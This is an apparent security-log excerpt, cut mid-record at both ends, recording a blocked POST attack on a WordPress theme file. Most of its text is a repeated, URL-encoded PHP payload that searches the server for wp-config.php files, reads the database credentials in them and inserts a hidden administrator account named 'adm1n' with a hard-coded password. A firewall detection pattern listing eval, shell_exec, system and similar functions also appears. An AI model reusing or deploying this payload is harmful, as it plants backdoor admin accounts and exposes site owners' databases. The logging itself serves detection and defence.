20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 11:35:50","121.200.217.28","POST","\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HR:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\ncontent-length:12640\nsec-fetch-user:?1\ncookie:4=17267dbb927e97128879218d3d0962ca; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFSVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nHR=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%